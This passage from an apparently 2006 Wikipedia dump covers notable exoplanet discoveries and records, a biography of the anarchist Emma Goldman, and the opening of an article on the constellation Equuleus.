One question raised by the detection of extrasolar planets is why so many of the detected planets are [[gas giant]]s which, in comparison to Earth's solar system, are unexpectedly close to the orbited star. For example, [[Tau Boötis|&amp;tau; Boötis]] has a planet 4.1 times [[Jupiter (planet)|Jupiter]]'s mass, which is less than a quarter of an [[astronomical unit]] (AU) from the orbited star, which is closer to the star than [[Mercury (planet)|Mercury]] orbits the sun. [[HD 114762]] has a planet 11 times Jupiter's mass which is less than half an AU from the orbited star. The reason for these relatively extreme planetary orbits is that astrometrics detects the extrasolar planets due to their gravitational influences and partially-ecliptic interference. Current technology only permits the detection of systems where a large planet is close to the orbited star, but the results do not mean that such systems are the norm. The technological bias towards finding such systems is referred to as a ''[[selection effect]]'' or ''selection bias''.

The frequency of extrasolar planets is one of the parameters in the [[Drake equation]], which attempts to estimate the probability of communications with [[extraterrestrial intelligence]].

==Notable extrasolar planets==
*In [[1992]], Wolszczan and Frail published results indicating that [[pulsar planets]] existed around [[PSR B1257+12]] in [[Nature (journal)|Nature]], volume 355, 145-147. [[Aleksander Wolszczan|Wolszczan]] had discovered the millisecond [[pulsar]] in question in [[1990]] at the [[Arecibo]] radio observatory. These were the first exoplanets ever verified, all the much more rare, that they orbit a pulsar.

*The first verified discovery of an exoplanet ([[51 Pegasi b]]) orbiting a main sequence star ([[51 Pegasi]]) was announced on [[October 6]], [[1995]] by [[Michel Mayor]] and [[Didier Queloz]] in [[Nature (journal)|Nature]], volume 378, page 355.

*A microlensing event in [[1996]] of the gravitationally lensed [[quasar]] [[Q0957+561]], observed by [[R. E. Schild]] in the A lobe of the double imaged quasar, has led to a controversial, and unconfirmable, speculation that a 3 Earth mass planet is possibly in the unknown lensing galaxy, between Earth and the quasar. This would be the most distant planet, if it could be confirmed, and is assumed to reside at [[redshift]] 0.39; 2.4 G[[parsec|pc]] away (7.8 billion light years or 74 [[Yottametre|Ym]]), where the lensing galaxy is. (The double-image quasar itself, (called The [[Twin Quasar]], or ''Old Faithful'') Q0957+561 A/B, resides at redshift z='''1.41''')

*In [[1999]], [[HD 209458b]] was the first extrasolar planet seen transiting its parent star, conclusively proving that the radial velocity measurements suspected to be planets actually were planets.

*On [[November 27]], [[2001]], astronomers using the [[Hubble Space Telescope]] announced that they had detected the atmosphere of the planet orbiting [[HD 209458]] (known as [[HD 209458b]] and provisionally dubbed &quot;[[Osiris (planet)|Osiris]]&quot;). Also during that year, a star was located which had the remnants of one or more planets within the stellar [[celestial body's atmosphere|atmosphere]] &amp;mdash; apparently the planet was mostly [[vapor]]ized. It has been suggested that there may be planets that orbit so closely to their suns that most of their mass has been stripped away by the heat, provisionally referred to as [[Chthonian planet]]s.

*On [[July 10]], [[2003]], using information obtained from the [[Hubble Space Telescope]], scientists discovered the [[PSR B1620-26c|oldest extrasolar planet]] yet. Dubbed ''Methuselah'' after the [[Bible|biblical]] figure, the planet is about 5,600 light years from Earth, has a mass twice that of Jupiter, and is estimated to be 13 billion years old. It is located in the globular [[star cluster]] M4, in the [[constellation]] [[Scorpius]].

*On [[April 15]], [[2004]], separate teams announced the discoveries of three planets outside our solar system.
** [[OGLE 2003-BLG-235]] or [[MOA 2003-BLG-53]] which is 17,000 light years away, more than three times farther away than the previous record holder. The background star that was used in the gravitational lensing is 24,000 light-years away. The newly-discovered planet is estimated to be about 1.5 times the mass of Jupiter and presumed to be similarly gaseous. It orbits the star about 3 astronomical units (AU). Jupiter is 5.2 AU from the Sun.
** The same day, a European team of planet hunters based at the [[Geneva Observatory]] announced two giant planets using the transit method. Both planets are called &quot;[[hot Jupiter]]s,&quot; close to one Jupiter-mass but orbiting its star so closely that it completes an orbit in less than two earth days.

*In August 2004, a planet orbiting [[mu Arae]] with a mass of approximately 14 times that of the Earth [http://www.eso.org/outreach/press-rel/pr-2004/pr-22-04_pf.html] was discovered with the [[European Southern Observatory|ESO]] [[HARPS]] [[spectrograph]]. It is the second lightest extrasolar planet orbiting a main sequence star to be discovered to date, and could be the first [[terrestrial planet]] around a main sequence star found outside the [[solar system]].

*In August 2004, a planet was discovered using the transit method with the smallest aperture telescope to date, 4 inches. The planet was discovered by the TrES survey, and provisionally named [[TrES-1]], orbits the star [[GSC 02652-01324]]. The finding was confirmed by the [[Keck Observatory]], where planetary specifics were uncovered.

*In June 2005 a third planet orbiting the [[red dwarf]] star [[Gliese 876]] was announced by E. Rivera ''et al.''. At only 6 to 8 Earth masses, it is the smallest known extrasolar planet orbiting a normal star, and must almost certainly be rocky in composition. It orbits at 0.021 AU with a period of 1.94 days.

*In July 2005 a planet with the largest core ever was announced. The planet, [[HD149026b]] orbits the star [[HD149026]], has a core that is estimated to be 70 Earth masses, accounting for 2/3's of the planet's mass.

*On [[January 25]], [[2006]] the first low-mass planet on a wide orbit was announced.  [[OGLE-2005-BLG-390Lb]] orbits a red dwarf star around 21,500 [[light years]] away, towards the centre of our galaxy. It was discovered using [[microlensing]]. Prior to this discovery, planets with low masses (comparable to that of [[Neptune]]) had only been discovered on short-period orbits.

*Astronomers have recently [http://www.nature.com/news/2005/050711/full/050711-6.html] [http://www.jpl.nasa.gov/news/news.cfm?release=2005-115] detected a planet in a [[triple star|triple star system]], a finding that challenges current theories of planetary formation. The planet, a gas giant slightly larger than Jupiter, orbits the main star of the [[HD 188753]] system, in the constellation [[Cygnus]], and is hence known as [[HD 188753 Ab]]. The stellar trio (yellow, orange, and red) is about 149 light-years from Earth. The planet, which is at least 14% larger than Jupiter, orbits the main star (HD 188753 A) once every 80 hours or so (3.3 days), at a distance of about 8 Gm, a twentieth of the distance between Earth and the Sun. The other two stars whirl tightly around each other in 156 days, and circle the main star every 25.7 years at a distance from the main star that would put them between Saturn and Uranus in our own Solar System. The latter stars invalidate the leading hot Jupiter formation theory, which holds these planets form at &quot;normal&quot; distances and then migrate inward through some debatable mechanism. This could not have occurred here, the outer star pair disrupting outer planet formation.

See the [[list of stars with confirmed extrasolar planets]] for a list of confirmed observations.

===Table of extremes===
{| class=&quot;wikitable&quot;
!colspan=5 align=left|Extrasolar Planets
|-
!Title!!Planet!!Star!!&amp;nbsp;!!Notes
|-
||Oldest planet|| [[PSR B1620-26c|''Methuselah'' (PSR B1620-26c)]] || [[PSR B1620-26]] || || 12.7 billion years old
|-
||Youngest planet|| || || || 
|-
||Heaviest planet|| ? || ? || || several planets have minimum masses near 11 M&lt;sub&gt;Jupiter&lt;/sub&gt;&lt;br/&gt;
:''Note: upper limit for planets is 11 M&lt;sub&gt;Jupiter&lt;/sub&gt; ([[deuterium]] fusion limit - lower limit for [[brown dwarfs]])''
|-
||Lightest planet|| [[PSR 1257+12#The planets|PSR 1257+12 A]] || [[PSR 1257+12]] || || 0.02 M&lt;sub&gt;Earth&lt;/sub&gt;
:''Note: PSR 1257+12 system may include possible [[asteroid]]al object, but it is not massive enough to qualify as a planet''
|-
||Largest planet|| [[HD 209458b|''Osiris'' (HD 209458 b)]] || [[HD 209458]] || || Has a radius 1.32 R&lt;sub&gt;Jupiter&lt;/sub&gt;&lt;br/&gt;
:''Note: only radii of [[transit (astronomy)|transiting]] planets are known''
|-
||Smallest planet|| || || || 
|-
||Most distant planet|| [[OGLE-2005-BLG-390Lb]] || [[OGLE-2005-BLG-390L]] || || 21,500 ± 3,300 [[light year]]s
:''Note: A microlensing event of lobe A ([[Q0957+561 A]]) of the gravitational lens doubled [[Twin Quasar]] suggests that there is a planet in the lensing galaxy [[Q0957+561 G1]] of three Earth masses ([[Q0957+561 A G1 a]]), lying at redshift 0.355 (7.8 Gly)''
|-
||Least distant planet|| [[Epsilon Eridani|&amp;epsilon; Eridani b]] || [[Epsilon Eridani|&amp;epsilon; Eridani]] || || 10.4 light years
|-
||Most dense planet|| [[HD 149026b]] || [[HD 149026]] || || 1.4 g/cm^3
|-
||Least dense planet|| [[HD 209458b]] (Osiris) || [[HD 209458]] || || 0.33 g/cm^3
|-
||Longest period planet|| [[2M1207 b]] || [[2M1207]] || || 2450+ years 
|-
||Shortest period planet|| [[OGLE-TR-56 b]] || [[OGLE-TR-56]] || || 1.2 days
|-
||Most eccentric orbit planet|| [[HD 80606 b]] || [[HD 80606]] || || eccentricity of 0.927
|-
||Least eccentric orbit planet|| [[PSR 1257+12 A]] || [[PSR 1257+12]] || || eccentricity of 0.0
|-
||Most inclined orbit planet|| || || || 
|-
||Least inclined planet|| || || || 
|-
|rowspan=2|Fastest orbital velocity planet
|| || || instantenous || 
|-
|| || || average || 
|-
|rowspan=2|Slowest orbital velocity planet
|| || || instantenous || 
|-
|| || || average || 
|-
|rowspan=3|Largest orbit planet
|| || || periapsis || 
|-
|| [[2M1207 b]] || [[2M1207]] || average || 55+ AU 
|-
|| || || apoapsis || 
|-
|rowspan=3|Smallest orbit planet
|| || || periapsis || 
|-
|| [[OGLE-TR-56 b]] || [[OGLE-TR-56]] || average || 0.0225 AU
|-
|| || || apoapsis || 
|-
!colspan=5 align=left|Firsts
|-
|rowspan=9|First planet discovered
|| [[PSR 1257+12#The planets|PSR 1257+12 B, C]] || [[PSR 1257+12]] || [[1992]] || first extrasolar planets discovered
:''Note 1: The planet around [[Alrai]] was already suspected in [[1988]]''
:''Note 2: [[HD 114762|HD 114762 b]] was discovered in [[1989]], but was not confirmed as a planet before 1996''
first [[pulsar planet]]s&lt;br/&gt;
first planets discovered by [[pulsar timing]] method
|-
|| [[51 Pegasi b|''Bellerophon'' (51 Pegasi b)]] || [[51 Pegasi]] || [[1995]] || first [[main sequence|Sun-like star]] planet&lt;br/&gt;
first planet discovered by [[radial velocity]] method
|-
|| [[Gliese 876#Gliese 876 b|Gliese 876 b]] || [[Gliese 876]] || [[1998]] || first [[red dwarf]] planet
|-
|| [[HD 209458b|''Osiris'' (HD 209458 b)]] || [[HD 209458]] || [[1999]] || First [[transit (astronomy)|transiting]] planet
:''Note: [[OGLE-TR-56 b]] is the first planet found by transit method''
|-
|| [[Iota Draconis|&amp;iota; Draconis b]] || [[Iota Draconis|&amp;iota; Draconis]] || [[2002]] || first [[giant star]] planet
|-
|| [[OGLE 2003-BLG-235]] || [[OGLE 2003-BLG-235]] || [[2004]] || first planet found by [[gravitational lens]]ing method
|-
|| [[PSR B1620-26c|''Methuselah'' (PSR B1620-26c)]] || [[PSR B1620-26]] || [[1993]] || first [[white dwarf]] planet (confirmed [[2003]])
|-
|| [[2M1207 b]] || [[2M1207]] || [[2004]] || first [[brown dwarf]] planet&lt;br/&gt;first directly imaged planet
|-
|| [[OGLE-2005-BLG-390Lb]] || [[OGLE-2005-BLG-390L]] || [[2006]] || first cool rocky/icy planet around main-sequence star 
|-
||First free-floating planet discovered|| [[S Ori 70]] || ''n/a'' || [[2004]] || Has mass of 3 M&lt;sub&gt;Jupiter&lt;/sub&gt;, needs confirmation
:''Note: Free-floating objects are not usually defined as planets''
|-
||First planet in a multiple star system discovered|| [[55 Cancri#55 Cancri b|55 Cancri b]] || [[55 Cancri]] || [[1996]] || 55 Cnc has distant red dwarf companion
:''Note: [[Alrai]] is the first relatively close binary with a planet''
|-
||First planet orbiting multiple stars discovered|| [[PSR B1620-26c|''Methuselah'' (PSR B1620-26c)]] || [[PSR B1620-26]] || [[1993]] || orbits pulsar - white dwarf pair
|-
||First multiple planet system discovered|| PSR 1257+12 A, B, C || [[PSR 1257+12]] || [[1992]] || a [[pulsar]] [[pulsar planet|planetary]] [[planetary system|system]]
|-
||First planet in star cluster|| [[PSR B1620-26c|''Methuselah'' (PSR B1620-26c)]] || [[PSR B1620-26]] || [[1993]] || located in [[Globular Cluster M4]]
|-
!colspan=5 align=left|Most Earthlike
|-
||Closest planet to 1 M&lt;sub&gt;Earth&lt;/sub&gt;|| [[PSR 1257+12 C]] || [[PSR 1257+12]] || || 3.9 M&lt;sub&gt;Earth&lt;/sub&gt;
|-
||Closest planet to 1 AU orbital|| [[HD 142 b]]&lt;br&gt;[[HD 28185 b]]&lt;br&gt;[[HD 128311 b]] || [[HD 142]]&lt;br&gt;[[HD 28185]]&lt;br&gt;[[HD 128311]] || || 0.980 AU&lt;br&gt;1.0 AU&lt;br&gt;1.02 AU
|-
||Closest planet to 365-day orbit|| [[HD 92788 b]]&lt;br&gt;[[HD 28185 b]]&lt;br&gt;[[HD 73526 b]]|| [[HD 92788]]&lt;br&gt;[[HD 28185]]&lt;br&gt;[[HD 73526]] || || 340 days&lt;br&gt;385 days&lt;br&gt;376 days
|-
||Closest in type|| [[OGLE-2005-BLG-390Lb]]|| [[OGLE-2005-BLG-390L]] || || around main-sequence star, cool, rocky/icy
|}

==See also==
'''People:'''
* [[Aleksander Wolszczan]] &amp;mdash; discovered first extrasolar planets, pulsar planets, 'solar system', pulsar planetary system.
* [[Steinn Sigurdsson]] &amp;mdash; discovered oldest planet, and first circumbinary planet.
* [[Michel Mayor]] &amp;mdash; with Queloz, discovered first planet around a main-sequence star.
* [[Didier Queloz]] &amp;mdash; with Mayor, discovered first planet around a main-sequence star.
* [[Geoffrey Marcy]] &amp;mdash; discovered more extrasolar planets than anyone else
* [[R. Paul Butler]] &amp;mdash; co-discoverer with Marcy

'''Planets and their Stars:'''
* [[PSR B1620-26c]], the oldest planet, also known as ''[[Methuselah (planet)|Methuselah]]'', around neutron star [[PSR B1620-26]], and white dwarf binary companion [[PSR B1620-26b]].
* [[51 Pegasi B]], a hot Jupiter, and the first planet found around a main-sequence star ([[51 Pegasi]]).
* [[PSR 1257+12]]'s first extra-solar planets, planetary system, pulsar planets ever found.

'''Other:'''
* [[Appearance of extrasolar planets]]
* [[Asteroid belt]]
* [[Astrometric binary]]
* [[Hypothetical planet]]
* [[Interstellar planet]]
* [[List of stars with confirmed extrasolar planets]]
* [[Planetary habitability]]
* [[Planetary system]]
* [[Pulsar planets]]
* [[Solar twin]]
* [[PlanetQuest]]

==External links==
Search projects:
* [http://exoplanets.org/ University of California Planet Search Project]
* [http://obswww.unige.ch/~udry/planet/planet.html The Geneva Extrasolar Planet Search Programmes]
* [http://www.planetquest.org/ PlanetQuest]
;Resources:
* [http://www.exoplanet.de/ German Center for Exo-Planet Research Jena/Tautenburg]
* [http://www.astro.uni-jena.de/ Astrophysical Institute &amp; University Observatory Jena (AIU)]
* [http://cfa-www.harvard.edu/planets/ The Extrasolar Planets Encyclopaedia]
* [http://www.princeton.edu/~willman/planetary_systems/ Table of known planetary systems]
* [http://astro.nickshanks.com/library/extrasolar.xml Extrasolar Planet XML Database]
* Andrew Collier Cameron, ''Extrasolar planets'', Physics World (January 2001). (See the [http://physicsweb.org/article/world/14/1/7/2 online version].)
* [http://astro.estec.esa.nl/SA-general/Projects/Staff/perryman/planet-figure.pdf Diagram of planet detection methods - PDF]
* [http://www.exoplanets.info searchable dynamic database of extrasolar planets and their parent stars]
* [http://jumk.de/astronomie/exoplanets/index.shtml List of important exoplanets]
* [http://www.ucm.es/info/Astrof/recopilaciones/planetas_ext.html Extrasolar Planets] - [[D. Montes]], UCM

;News:
* [http://exoplanets.org/index_gl.html 6-8 Earth-Mass Planet Discovered orbiting Gliese 876]
* [http://www.space.com/scienceastronomy/exoplanet_new_0404015.html Newfound World Shatters Distance Record] from space.com
* [http://www.space.com/scienceastronomy/oldest_planet_030710-1.html Oldest Known World] from space.com
* [http://www.space.com/scienceastronomy/aas_earthsize_020329.html Earth Sized Planets Confirmed] from space.com
* [http://news.bbc.co.uk/1/hi/sci/tech/3856401.stm Hubble telescope &quot;discovers 100 new planets&quot;]: BBC news story
;Planet discovery papers
* ''[http://uk.arxiv.org/abs/astro-ph/0404309 A planetary microlensing event]'' and ''[http://arxiv.org/abs/astro-ph/0505451 A Jovian-mass Planet in Microlensing Event OGLE-2005-BLG-071]'' , the first extrasolar planet detections using [[gravitational lens|gravitational microlensing]].

[[Category:Dark matter]]
[[Category:Extrasolar planets|*]]
[[Category:Lists of planets]]
[[Category:SETI]]

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[[fr:Exoplanète]]
[[ko:외계 행성]]
[[hr:Planeti izvan Sunčevog sustava]]
[[io:Exoplaneto]]
[[nl:Exoplaneet]]
[[ja:太陽系外惑星]]
[[pl:Planety pozasłoneczne]]
[[pt:Exoplaneta]]
[[ru:Экзопланета]]
[[sk:Extrasolárna planéta]]
[[sl:Izvenosončni planet]]
[[fi:Eksoplaneetta]]
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[[tl:Planetang extrasolar]]
[[th:ดาวเคราะห์นอกระบบ]]</text>
    </revision>
  </page>
  <page>
    <title>Emma Goldman</title>
    <id>9764</id>
    <revision>
      <id>42050813</id>
      <timestamp>2006-03-03T13:32:05Z</timestamp>
      <contributor>
        <ip>151.205.68.207</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox_Biography |
  subject_name   = Emma Goldman |
  image_name     = Portrait Emma Goldman.jpg |
  image_caption  = |
  date_of_birth  = [[27 June]] [[1869]] |
  place_of_birth = [[Kaunas]], [[Lithuania]] |
dead=dead|
  date_of_death  = [[14 May]] [[1940]] |
  place_of_death = [[Toronto]], [[Canada]]
}}
'''Emma Goldman''' ([[June 27]], [[1869]] &amp;ndash; [[May 14]], [[1940]]) was a [[Lithuanians|Lithuanian-born]] [[Anarchist communism|anarcho-communist]] known for her [[Anarchism|anarchist]] writings and speeches. Adopted by [[First-wave feminism|First-wave feminists]], she has been lionized as an iconic &quot;rebel woman&quot; feminist. Goldman played a pivotal role in the development of anarchism in the US and Europe throughout the first half of the twentieth century. She immigrated to the [[United States]] at seventeen and was later deported to [[Russia]], where she witnessed the results of the [[Russian Revolution of 1917|Russian Revolution]]. She  spent a number of years in the South of France where she wrote her [[autobiography]], ''[[Living My Life]]'', and other works, before taking part in the [[Spanish Civil War]] in 1936 as the English language representative in [[London]] of the [[Federación Anarquista Ibérica|CNT-FAI]]. 

==Birth and early years==
Emma Goldman grew up in a [[petite bourgeoisie|petit-bourgeois]] Jewish family in [[Kaunas]], [[Lithuania]] (then under the control of [[Russia]], and called Kovno by the Russians), where her family ran a small inn. In the period of [[political repression]] after the [[assassination]] of [[Russian Tsar Alexander II|Alexander II]], she moved with her family to [[Saint Petersburg|St Petersburg]] at the age of thirteen. There, after a revolutionary sentiment had spread across the area, she decided to work in a factory as a corset maker. It was in that workplace that Goldman was introduced to revolutionary ideas; she obtained a copy of [[Nikolai Chernyshevsky|Chernyshevsky]]'s ''[[What Is To Be Done]],'' which sowed the seeds for her anarchist ideas and her independent attitude.

==Immigration to America==
At the age of 17 she immigrated with her elder sister, Helene, to [[Rochester, New York]], to live with their sister Lena.  Goldman worked for several years in a textile factory, and in 1887 married fellow factory worker Jacob Kersner.  The hanging of four anarchists after the [[Haymarket Riot]] drew the young Emma Goldman to the anarchist movement, and at twenty she became a [[Social revolution|revolutionary]]. Following the uproar over the hanging, Goldman left her marriage and her family and traveled to [[New Haven, Connecticut]], and then to [[New York City|New York City]]. Goldman and Kersner remained legally married, allowing her to retain her American citizenship.
[[Image:Goldmanberkman.jpe|thumb|240px|right|Goldman and Alexander Berkman]]

==New York City==
In New York City she met and lived with [[Alexander Berkman]], who was an important figure of the anarchist movement in the United States at the time. Her defense of Berkman's attempted assassination of [[Henry Clay Frick]] in July 1892 made her highly unpopular with the authorities. Berkman (or Sasha as she fondly referred to him) was jailed for fourteen years, and was released from prison in 1906. 

She also became friends with [[Hippolyte Havel]] at this time.

==Prison==
She was [[prison|imprisoned]] in 1893 at [[Roosevelt Island|Blackwell's Island]] penitentiary for publicly urging [[unemployment|unemployed]] [[worker]]s that they should ''&quot;Ask for work. If they do not give you work, ask for bread. If they do not give you work or bread, take bread.&quot;'' (The statement is a summary of the principle of [[Eminent domain|expropriation]] advocated by anarchist communists like [[Peter Kropotkin]].) She was convicted of &quot;inciting a riot&quot; by a criminal court of New York, despite the testimonies of twelve witnesses in her defense. The jury based their verdict on the testimony of one individual, a Detective Jacobs. [[Voltairine de Cleyre]] gave the lecture ''[[In Defense of Emma Goldman]]'' as a response to this imprisonment. While serving the one year sentence, she developed a keen interest in nursing.

==Conspiracy to assassinate the President==
She was arrested in Chicago, with nine others, on [[September 10]], [[1901]], on charges of conspiracy to assassinate [[William McKinley|President McKinley]]. [[Leon Czolgosz]], a reclusive anarchist sympathizer, had shot the President several days before. The authorities' attempt to associate her and the other nine anarchists, including Abe and Mary Isaak, with the death of McKinley had an ideological purpose: to discredit Anarchism as much as possible due to its ties with the surging labor movement of the early 1900's.  She was one of its fiercest organizers, and had already achieved public notoriety by the time of the accusations.  Goldman was released on September 24 after authorities were unable to find any evidence connecting her and the others with Czolgosz's actions.  Goldman had met Czolgosz only once, briefly, several weeks before, where he had asked Goldman's advice on a course of study in anarchist ideas.  Leon Czolgosz was found guilty of murder and executed.

==Birth control==
On [[February 11]], [[1916]], she was [[arrest]]ed and imprisoned again for her distribution of [[birth control]] [[literature]].  She, like many contemporary feminists, saw [[abortion]] as a tragic consequence of social conditions. In 1911, Goldman wrote in ''[[Mother Earth (magazine)|Mother Earth]]'':
:''&quot;The custom of procuring abortions has reached such appalling proportions in America as to be beyond belief...So great is the misery of the working classes that seventeen abortions are committed in every one hundred pregnancies.&quot;''
[[Image:Goldman.jpg|thumb|right|200px|Emma Goldman, 1917]]

==World War I==
Her third imprisonment was in 1917, this time for conspiring to obstruct the [[conscription|draft]]: Berkman and Goldman were both involved in setting up [[No_conscription_league|No Conscription leagues]] and organising rallies against [[World War I]].(''illustration, right'') She was imprisoned for two years, after which she was deported to Russia. At her deportation hearing, [[J. Edgar Hoover]], directing the hearing, called her ''&quot;one of the most dangerous anarchists in America.&quot;''

==Deportation==
This deportation meant that Goldman, with Berkman, was able to witness the [[Russian Revolution of 1917|Russian Revolution]] first hand. On her arrival in Russia, she was prepared to support the [[Bolshevism|Bolshevik]]s despite the split between anarchists and statist communists at the [[First International]]. But seeing the [[political repression]] and [[forced labour]] in Russia offended her anarchist sensibilities. The Bolsheviks, however, argued that in times of revolution, violence is required in order to depose the previous power holders. This led Goldman to write ''[[My Disillusionment in Russia]]'' and ''[[My Further Disillusionment in Russia]]''. She was also devastated by the massive destruction and death resulting from the [[Russian Civil War]], in which counterrevolutionary elements, aided by foreign governments such as the United States and Japan, attempted to throttle the young communist state.  Goldman was friends with Communists and New Yorkers [[John Reed (journalist)|John Reed]] and [[Louise Bryant]], both of whom were also in Russia at this time (during a period when it was impossible to leave the country); they may even have shared an apartment (see also the film [[Reds]]).

==Rejection of violence==
Her experiences in Russia helped change her ideas on the use of [[violence]]: after the [[Red Army]] was used against [[Strike action|strike]]rs, Goldman began rejecting violence except in [[self-defense]]. 

==Spanish Civil War==
In 1936, Goldman went to [[Spain]] to support the [[Spanish Revolution]] and the fight against [[Francisco Franco]]'s [[fascism]], known as the [[Spanish Civil War]]. During this time she wrote the obituary of the prominent [[Anarchism in Spain|Spanish anarchist]] [[Buenaventura Durruti]] in a piece of vibrant [[prose]] entitled ''Durruti is Dead, Yet Living'', which echoes [[Percy Bysshe Shelley]]'s [[Adonais]].

==Death and burial==
Emma Goldman died of a stroke in [[Toronto]] on [[May 14]], [[1940]]. The U.S. [[Immigration and Naturalization Service]] allowed her body to be brought back to the United States, and she was buried in [[German Waldheim Cemetery]] (now part of Forest Home Cemetery) in [[Forest Park, Illinois|Forest Park]], [[Illinois]], a suburb of [[Chicago, Illinois|Chicago]], close to where the executed [[Haymarket Riot]] defendants are interred [http://www.graveyards.com/IL/Cook/foresthome/ne-goldman.html]. Her tombstone reads &quot;Liberty will not descend to a people, a people must raise themselves to Liberty.&quot; 

An urban legend in [[Toronto]] holds that Goldman's ghost haunts the union hall on [[Spadina Avenue]], now a [[Chinese restaurant]], where she often spoke and where her body was displayed after her death.

==Emma Goldman in fiction==
* Emma Goldman appears as a fictional character in [[E.L. Doctorow]]'s ''[[Ragtime (novel)|Ragtime]]'', where she plays an important part in allowing the characters of [[Evelyn Nesbit]] and her lover, Younger Brother, to examine their own lives in a new way. The book combines fiction with history.
* [[Emmanuel Goldstein]], a character in the novel [[Nineteen Eighty-Four]] by [[George Orwell]], may refer to Emma Goldman.
* The meeting between Emma Goldman and [[Leon Czolgosz]] is featured [[Stephen Sondheim|Sondheim]]'s Broadway musical ''[[Assassins (musical)|Assassins]]''.
* Emma Goldman appears in the 1991 Origin Systems computer RPG [[Martian Dreams]].  In the game's alternate reality, Goldman is an ally of the Martian-possessed [[Grigori Rasputin]].
* Emma Goldman is played in the [[Warren Beatty]] film ''[[Reds]]'' by [[Maureen Stapleton]], who won an [[Academy Award]] for the role.
* Emma Goldman's life is the subject of [[Howard Zinn]]'s play &quot;Emma&quot;

==References==
*Falk, Candace, et al. ''Emma Goldman: A Documentary History Of The American Years, Volume 1 - Made for America, 1890-1901''. Berkeley: U of California P, 2003. ISBN 0520086708
*Falk, Candace, et al. ''Emma Goldman: A Documentary History Of The American Years, Volume 2 - Making Speech Free, 1902-1909''. Berkeley: U of California P, 2004. ISBN 0520225694
*Goldman, Emma. ''The Tragedy of Woman's Emancipation'', New York, Mother Earth Publishing Association, 1906, 
*Goldman, Emma. ''My Disillusionment in Russia''. London: C. W. Daniel Co., 1925. ISBN 048643270X
*Goldman, Emma. ''Living My Life''. New York: A. A. Knopf, 1931. ISBN 0486225437
*Goldman, Emma. ''Vision on Fire: Emma Goldman on the Spanish Revolution,''  ed. David Porter. New Paltz, NY: Commonground Press, 1983. ISBN 0961034823
*Moritz, Theresa. ''The World's Most Dangerous Woman: A New Biography of Emma Goldman''. Vancouver: Subway Books, 2001. ISBN 0968716318

==See also==
*[[List of anarchists]]
*[[Alexander Berkman]]
*[[Ben Reitman]]
*[[Mother Earth (magazine)|Mother Earth Magazine]]

== External links ==
{{wikiquote}}
* {{gutenberg author| id=Emma+Goldman | name=Emma Goldman}}
*[http://dwardmac.pitzer.edu/Anarchist_Archives/goldman/Goldmanarchive.html Emma Goldman in the Anarchy Archives]
* [http://sunsite.berkeley.edu/Goldman/ The Emma Goldman Papers (University of California at Berkeley, Digital Library)] 
* [http://www.pbs.org/wgbh/amex/goldman/index.html (American Experience site on Goldman)]
*[http://www.ditext.com/goldman/russia/russia.html Emma Goldman, ''My Disillusionment in Russia'' (1923, 1924, 1925) (illustrated).]
* [ftp://ftp.ibiblio.org/pub/docs/books/gutenberg/etext00/nrcsm10.txt ''Anarchism and Other Essays'']
* [http://www.BlackCrayon.com/people/goldman/ BlackCrayon.com: People: Emma Goldman]
* [http://recollectionbooks.com/bleed/Encyclopedia/GoldmanEmma.htm Emma Goldman Page] at the Anarchist Encyclopedia
* [http://dwardmac.pitzer.edu/Anarchist_Archives/goldman/living/livingtoc.html ''Living my Life'']
* [http://www.marxists.org/reference/archive/goldman/index.htm Emma Goldman Reference Archive at Marxists.org]
* [http://www.iisg.nl/collections/goldman/index.html Portraits of Emma Goldman]
* [http://www.jwa.org/exhibits/wov/goldman/ Jewish Women's Archive Women of Valor exhibit on Emma Goldman]
* [http://www.panarchy.org/goldman/anarchism.1910.html Emma Goldman, &quot;Anarchism, what it really stands for&quot;]

&lt;!-- Metadata, see [[Wikipedia:Persondata]] --&gt;
{{Persondata
|NAME=Goldman, Emma
|ALTERNATIVE NAMES=Red Emma
|SHORT DESCRIPTION=Lithuanian-born American anarchist
|DATE OF BIRTH=[[27 June]] [[1869]]
|PLACE OF BIRTH=[[Kaunas]], [[Lithuania]]
|DATE OF DEATH=[[14 May]] [[1940]]
|PLACE OF DEATH=[[Toronto]], [[Canada]]
}}

[[Category:1869 births|Goldman, Emma]]
[[Category:1940 deaths|Goldman, Emma]]
[[Category:Anarchists|Goldman, Emma]]
[[Category:Anti-war people|Goldman, Emma]]
[[Category:Atheists|Goldman, Emma]]
[[Category:Autodidacts|Goldman, Emma]]
[[Category:Feminists|Goldman, Emma]]
[[Category:Jewish anarchists|Goldman, Emma]]
[[Category:LGBT rights activists|Goldman, Emma]]
[[Category:Spanish Civil War people|Goldman, Emma]]


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[[no:Emma Goldman]]
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[[pl:Emma Goldman]]
[[pt:Emma Goldman]]
[[sr:Ема Голдман]]
[[fi:Emma Goldman]]
[[sv:Emma Goldmann]]
[[tr:Emma Goldman]]</text>
    </revision>
  </page>
  <page>
    <title>Equuleus</title>
    <id>9765</id>
    <revision>
      <id>38742448</id>
      <timestamp>2006-02-08T08:56:35Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Equuleus |
abbreviation = Equ |
genitive = Equulei |
symbology = the [[foal]]|
RA = 21 |
dec= 10 |
areatotal = 72 |
arearank = 87th |
numberstars = None |
starname = [[Alpha Equulei|&amp;alpha; Equ]] (Kitalpha) |
starmagnitude = 3.92 |
meteorshowers = None |
bordering =
*[[Aquarius]]
*[[Delphinus (constellation)|Delphinus]]
*[[Pegasus (constellation)|Pegasus]] |
latmax = 90 |
latmin = 80 |
month = September |
notes=}}
'''Equuleus''' ([[Latin]] for ''[[horse]]-let'' (i.e. a [[foal]])) is the second smallest of the 88 modern [[constellation]]s, only [[Crux]] being smaller.

Despite its smallness and lack of bright [[star]]s (none are brighter than [[apparent magnitude|fourth magnitude]]), it was also one of [[Ptolemy]]'s 48 constellations.

==Notable features==
Equleuus is the second smallest constellation, at 72 square degrees.  The only constellation that is smaller is [[Crux]].  It is not a particularly conspicuous constellation; its brightest star is [[Alpha Equulei|&amp;alpha; Equ]] (Kitalpha), at magnitude 3.92m.

There are few [[variable star]]s in Equuleus.  Only around 25 are known, most of which are obscure.  [[Gamma Equulei|&amp;gamma; Equ]] is an [[alpha CVn star]], ranging between magnitudes 4.58m and 4.77m over a period of around 12&amp;frac12; minutes.  [[R Equulei|R Equ]] is a [[Mira variable]] that ranges between magnitudes 8.0m and 15.7m over nearly 261 days.

